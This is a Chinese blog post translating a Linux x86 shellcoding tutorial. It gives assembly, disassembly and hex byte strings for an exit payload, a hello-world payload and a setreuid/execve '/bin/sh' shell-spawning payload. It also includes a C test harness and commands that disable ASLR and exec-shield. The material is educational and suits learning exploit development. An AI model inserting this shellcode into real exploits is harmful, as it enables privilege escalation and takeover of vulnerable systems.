Linux Shellcoding学习

╰+哭是因爲堅強的太久メ 2021-09-10 23:52 231阅读 0赞

翻译自：http://www.vividmachines.com/shellcode/shellcode.html

# 1. 什么是Shellcoding. #

在计算机安全领域，shellcoding字面意思是编写可以返回远程shell的代码。如今shellcode的含义已经扩展了，现在指一切可以被插入到漏洞利用(Exploit)中执行特定功能的字节码。  
2. 网络有成千上万shellcode，为什么我要自己写？  
是的，你说的没错，网上确实有很多现成的资源。Metasploit 似乎提供的是最好的。写Exploit非常困难。但如果所有资源都无法使用，怎么办。还得需要自己写。幸运的是，这篇教程可以提供入门教程。  
3. 我需要有什么基础  
有x86汇编、C语言基础，会使用Linux操作系统。  
4. windows shellcode和linux shellcode有什么不同  
Linux提供了一个通过int 0×80接口来与内核直接相结合的方法.可以在http://www.informatik.htw-dresden.de/~beck/ASM/syscall\_list.html中找到完整的linux系统调用表或在系统中查看：cat /usr/include/i386-linux-gnu/asm/unistd\_32.h。  
windows没有一个直接的内核接口。系统必须通过加载函数地址来相结合，它需要从一个动态链接库中被执行。  
两种系统的关键不同点事实上在于windows中的函数地址在一个系统版本和另一个系统版本中的变化，因为int 0×80系统调用号是恒定的。  
Windows程序员这样做以致于他们可以不会为了任何内核需要的改变而争论。  
Linux相反，已经固定了所有内核级函数的计算系统，并且如果他们要改变，将会激怒无数程序员，导致大量代码运行出错。  
5. shellcode为什么不能有空字节，普通程序可以有很多空字节。  
shellcode不是普通的程序。shencode一般是作为字符串插入到其他程序中，而字符串以null作为结束标志。如果shellcode有空字符，就无法执行全部的shellcode，导致错误。  
6. 为什么我写的shellcode直接运行会崩溃。  
大多数保护shellcode的代码都有类似的自我修改功能。我们运行的操作系统处于保护模式。可执行程序的代码段是只读的。所以我们需要将shellcode程序复制到主程序的堆栈段才能运行。  
7. 为什么我的代码仍然出现段错误(segment fault)?  
可能你的操作系统的栈段地址是随机分配的，或采取了保护机制防止你在栈段执行代码。各个Linux系统出现的问题不一样，下面是Fedora的解决方案：  
echo 0 > /proc/sys/kernel/exec-shield   \#turn it off  
echo 0 > /proc/sys/kernel/randomize\_va\_space \#turn it off  
echo 1 > /proc/sys/kernel/exec-shield   \#turn it on  
echo 1 > /proc/sys/kernel/randomize\_va\_space \#turn it on

编写环境：  
1. 基于x86系统，使用32位通用寄存器：eax,ebx,ecx,edx  
2. AH,BH,CH,DH使用通用寄存器的高16位  
3. AL,BL,CL,DL使用通用寄存器的低16位  
4. ESI和EDI用于Linux syscalls  
5. syscalls最多使用6个参数，用通用寄存器传递  
6. xor eax,eax是将寄存器清零的最好方法(会避免邪恶的NULL字节)  
  
  
工具：  
gcc  
nasm  
ld  
objdump  
  
  
可选工具：  
odfhex.c: 借助("objdump -d")将shellcode转换为十六进制字符串

使用的另外一个工具提取：

![Center][]

shellcodetest.c: 测试shellcode的代码

正文：  
Linux Shellcoding  
测试shellcode的最好方法是将其插入到程序中运行。测试代码如下：

/*shellcodetest.c*/
    //源代码有问题，这是修改后的
    #include<stdio.h>
    #include<string.h>
    
    unsigned char code[]="your shell code";
    main()
    {
            printf("Shellcode Length: %d\n",strlen(code));
            int (*ret)()=(int(*)())code;
            ret();
    }

# 例1： 退出功能的shellcode-先学会逃跑 #

下面是最简单的shellcode，调用exit syscall,实现退出功能。  
注意：清零使用xor eax,eax，而不是mov eax,0，一方面效率高，最重要的是避免null字符。

;exit.asm
    [SECTION .text]
    global _start
    _start:
            xor eax, eax       ;exit()函数 编号为1
            mov al, 1       ;exit is syscall 1
            xor ebx,ebx     ;返回值为0
            int 0x80

下面是编译提取字节码的步骤：

steve hanna@1337b0x:~$ nasm -f elf exit.asm
    steve hanna@1337b0x:~$ ld -o exiter exit.o
    steve hanna@1337b0x:~$ objdump -d exiter
    
    exiter:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048080 <_start>:
     8048080:       b0 01                   mov    $0x1,%al
     8048082:       31 db                   xor    %ebx,%ebx
     8048084:       cd 80                   int    $0x80

提取十六进制字符串：

修改shellcodetest.c中的code: code\[\]="\\xb0\\x01\\x31\\xdb\\xcd\\x80";  
编译: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode  
运行: ./shellcode。  
Shellcode Length: 8  
现在，我们编写了第一个shellcode。你可以跟踪调试，确保它正确运行。

# 例2： Hello World Shellcoding-获取字符串地址 #

接下来的例子，我们实现点有用的功能：如何使代码在运行期间加载字符串的地址。这是非常重要的，因为shellcode运行在不确定的环境中，字符串的地址是未知的，因为shellcode不是运行在正常的栈段。  
下面是汇编代码：

;hello.asm
    [SECTION .text]
    
    global _start
    
    _start:
    
            jmp short ender
    
            starter:
    
            xor eax, eax    ;寄存器清零
            xor ebx, ebx
            xor edx, edx
            xor ecx, ecx
    
            mov al, 4       ;调用write()函数
            mov bl, 1       ;stdout 的文件描述符为1
            pop ecx         ;巧妙利用call指令，从栈顶获取字符串地址
            mov dl, 5       ;字符串长度
            int 0x80
    
            xor eax, eax
            mov al, 1       ;调用exit()，退出shellcode,返回值为0
            xor ebx,ebx
            int 0x80
    
            ender:
            call starter	;call会将字符串地址压入栈，再跳转到starter,call=push jmp
            db 'hello

编译提取shellcode的十六进制代码：(参照例1步骤)

steve hanna@1337b0x:~$ nasm -f elf hello.asm
    steve hanna@1337b0x:~$ ld -o hello hello.o
    steve hanna@1337b0x:~$ objdump -d hello
    hello:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048080 <_start>:
     8048080:       eb 19                   jmp    804809b 
    
    08048082 <starter>:
     8048082:       31 c0                   xor    %eax,%eax
     8048084:       31 db                   xor    %ebx,%ebx
     8048086:       31 d2                   xor    %edx,%edx
     8048088:       31 c9                   xor    %ecx,%ecx
     804808a:       b0 04                   mov    $0x4,%al
     804808c:       b3 01                   mov    $0x1,%bl
     804808e:       59                      pop    %ecx
     804808f:       b2 05                   mov    $0x5,%dl
     8048091:       cd 80                   int    $0x80
     8048093:       31 c0                   xor    %eax,%eax
     8048095:       b0 01                   mov    $0x1,%al
     8048097:       31 db                   xor    %ebx,%ebx
     8048099:       cd 80                   int    $0x80
    
    0804809b <ender>:
     804809b:       e8 e2 ff ff ff          call   8048082 
     80480a0:       68 65 6c 6c 6f          push   $0x6f6c6c65

在shellcodetest中，修改code\[\]:  
char code\[\] = "\\xeb\\x19\\x31\\xc0\\x31\\xdb\\x31\\xd2\\x31\\xc9\\xb0\\x04\\xb3\\x01\\x59\\xb2\\x05\\xcd"\\  
              "\\x80\\x31\\xc0\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\xe2\\xff\\xff\\xff\\x68\\x65\\x6c\\x6c\\x6f";  
现在编译运行shellcodetest.c，会获取字符串地址，调用stdout输出字符，并推出返回值为0。  
下面一个例子，我们将编写一个获取shell的shellcode.

# 例3： 获取shell #

这个例子综合运用了我们前面所学的知识，它尝试获取root权限如果被降权，并获得一个shell  
我们所使用的系统函数：  
execve (const char \*filename, const char\*\* argv, const char\*\* envp);  
第二个和第三个是指针的指针。所以我将"/bin/sh"的地址放在数据内存中，然后把地址的地址传递给函数。指针最终所指示的就是“/bin/sh"字符串。  
下面是shellcode的汇编代码：

;shellex.asm
    [SECTION .text]
    
    global _start
    
    
    _start:
            xor eax, eax
            mov al, 70              ;setreuid is syscall 70
            xor ebx, ebx
            xor ecx, ecx
            int 0x80
    
            jmp short ender
    
            starter:
    
            pop ebx                 ;弹出栈顶的字符串地址，付给ebx
            xor eax, eax
    
            mov [ebx+7 ], al        ;put a NULL where the N is in the string
            mov [ebx+8 ], ebx       ;将AAAA字符替换为字符串的地址
            mov [ebx+12], eax       ;将BBBB字符替换为null
            mov al, 11              ;execve 系统编号位 11
            lea ecx, [ebx+8]        ;字符串地址
            lea edx, [ebx+12]       ;传递空字符地址
            int 0x80                ;调用execve,获取到shell!
    
            ender:
            call starter
            db '/bin/shNAAAABBBB'

编译提取shellcode的十六进制字符串：

steve hanna@1337b0x:~$ nasm -f elf shellex.asm
    steve hanna@1337b0x:~$ ld -o shellex shellex.o
    steve hanna@1337b0x:~$ objdump -d shellex
    
    shellex:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048080 <_start>:
     8048080:       31 c0                   xor    %eax,%eax
     8048082:       b0 46                   mov    $0x46,%al
     8048084:       31 db                   xor    %ebx,%ebx
     8048086:       31 c9                   xor    %ecx,%ecx
     8048088:       cd 80                   int    $0x80
     804808a:       eb 16                   jmp    80480a2 
    
    0804808c :
     804808c:       5b                      pop    %ebx
     804808d:       31 c0                   xor    %eax,%eax
     804808f:       88 43 07                mov    %al,0x7(%ebx)
     8048092:       89 5b 08                mov    %ebx,0x8(%ebx)
     8048095:       89 43 0c                mov    %eax,0xc(%ebx)
     8048098:       b0 0b                   mov    $0xb,%al
     804809a:       8d 4b 08                lea    0x8(%ebx),%ecx
     804809d:       8d 53 0c                lea    0xc(%ebx),%edx
     80480a0:       cd 80                   int    $0x80
    
    080480a2 :
     80480a2:       e8 e5 ff ff ff          call   804808c 
     80480a7:       2f                      das
     80480a8:       62 69 6e                bound  %ebp,0x6e(%ecx)
     80480ab:       2f                      das
     80480ac:       73 68                   jae    8048116 
     80480ae:       58                      pop    %eax
     80480af:       41                      inc    %ecx
     80480b0:       41                      inc    %ecx
     80480b1:       41                      inc    %ecx
     80480b2:       41                      inc    %ecx
     80480b3:       42                      inc    %edx
     80480b4:       42                      inc    %edx
     80480b5:       42                      inc    %edx
     80480b6:       42                      inc    %edx

在shellcodetest.c中修改code\[\]:  
char code\[\] = "\\x31\\xc0\\xb0\\x46\\x31\\xdb\\x31\\xc9\\xcd\\x80\\xeb"\\  
     "\\x16\\x5b\\x31\\xc0\\x88\\x43\\x07\\x89\\x5b\\x08\\x89"\\  
     "\\x43\\x0c\\xb0\\x0b\\x8d\\x4b\\x08\\x8d\\x53\\x0c\\xcd"\\  
     "\\x80\\xe8\\xe5\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f"\\  
     "\\x73\\x68\\x58\\x41\\x41\\x41\\x41\\x42\\x42\\x42\\x42";  
这段代码被插入到exploit中运行会获取一个shell，展示了写一个成功的shellcode所必需的步骤.但是要知道，一个人越擅长汇编，它就  
能编写出更强大，更稳定也是更邪恶的代码。shellcode往往需要加密，最好有多态功能，这需要你有更好的汇编能力。

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